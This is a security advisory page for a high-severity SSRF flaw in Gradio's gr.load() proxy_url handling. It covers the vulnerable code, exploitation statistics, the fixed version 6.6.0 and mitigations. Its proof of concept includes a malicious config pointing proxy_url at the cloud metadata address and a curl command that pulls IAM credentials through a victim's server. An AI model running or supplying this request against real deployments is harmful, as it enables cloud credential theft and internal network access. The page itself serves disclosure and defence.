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HIGH severity

Gradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config ProcessingGHSA-jmh7-g254-2cq9

HIGHFix: gradio-app/gradio@fc7c01e

GHSA-jmh7-g254-2cq9 is a high-severity (CVSS 8.2) Server-Side Request Forgery (SSRF) vulnerability in gradio. A fix is available for gradio — see the affected versions and patch details below.

Also known asCVE-2026-28416PYSEC-2026-66
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-jmh7-g254-2cq9.

EPSS Exploitation Probability

via FIRST.org ↗
7.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs94th percentile — riskier than 94% of all scored CVEsHighest risk
0.00%3.15%6.29%9.44%0.0%7.3%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍gradio

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses gr.load() to load an attacker-controlled Space, the malicious proxy_url from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure.

Details

The vulnerability exists in Gradio's config processing flow when loading external Spaces:

  1. Config Fetching (gradio/external.py:630): gr.load() calls Blocks.from_config() which fetches and processes the remote Space's configuration.

  2. Proxy URL Trust (gradio/blocks.py:1231-1233): The proxy_url from the untrusted config is added directly to self.proxy_urls:

    if config.get("proxy_url"):
        self.proxy_urls.add(config["proxy_url"])
    
  3. Built-in Proxy Route (gradio/routes.py:1029-1031): Every Gradio app automatically exposes a /proxy={url_path} endpoint:

    @router.get("/proxy={url_path:path}", dependencies=[Depends(login_check)])
    async def reverse_proxy(url_path: str):
    
  4. Host-based Validation (gradio/routes.py:365-368): The validation only checks if the URL's host matches any trusted proxy_url host:

    is_safe_url = any(
        url.host == httpx.URL(root).host for root in self.blocks.proxy_urls
    )
    

An attacker can set proxy_url to http://169.254.169.254/ (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints.

PoC

Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6

1. Attacker creates a malicious Gradio Space that returns this config:

{
    "mode": "blocks",
    "components": [...],
    "proxy_url": "http://169.254.169.254/"  # AWS metadata endpoint
}

2. Victim loads the malicious Space:

import gradio as gr
demo = gr.load("attacker/malicious-space")
demo.launch(server_name="0.0.0.0", server_port=7860)

3. Attacker exploits the proxy:

# Fetch AWS credentials through victim's server
curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"

Impact

Who is impacted:

  • Any Gradio application that uses gr.load() to load external/untrusted Spaces
  • HuggingFace Spaces that compose or embed other Spaces
  • Enterprise deployments where Gradio apps have access to internal networks

Attack scenarios:

  • Cloud credential theft: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials
  • Internal service access: Reach databases, admin panels, and APIs on private networks
  • Network reconnaissance: Map internal infrastructure through the victim
  • Data exfiltration: Access sensitive internal APIs and services

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIgradioall versions6.6.0pip install --upgrade 'gradio==6.6.0'

Affected Products

1 product · 1 configurations
Application
gradiogradio_project
< 6.6.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gradio, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update gradio to 6.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jmh7-g254-2cq9 is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

This is an IMPORTANT Server-Side Request Forgery (SSRF) vulnerability in Gradio, affecting the `ansible-chatbot-service` within Red Hat Ansible Services. The flaw allows an attacker to make arbitrary HTTP requests from a victim's server by injecting a malicious `proxy_url` when the application uses `gr.load()` to load…

Workaround published by Red Hat
To mitigate this vulnerability, avoid loading Gradio Spaces from untrusted or unverified sources when using `gr.load()` in applications like the Ansible Chatbot Service. Additionally, implement network egress filtering to restrict outbound connections from systems running Gradio applications, preventing access to internal network resources, cloud metadata endpoints, and private networks.
Source: Red Hat security advisory for GHSA-jmh7-g254-2cq9 (CC BY 4.0)

Frequently Asked Questions

### Summary A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses `gr.load()` to load an attacker-controlled Space, the malicious `proxy_url` from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure. ### Details The vulnerability exists in Gradio's config processing flow when loading external Spaces: 1. **Config F
O3 Security · Impact-Aware SCA

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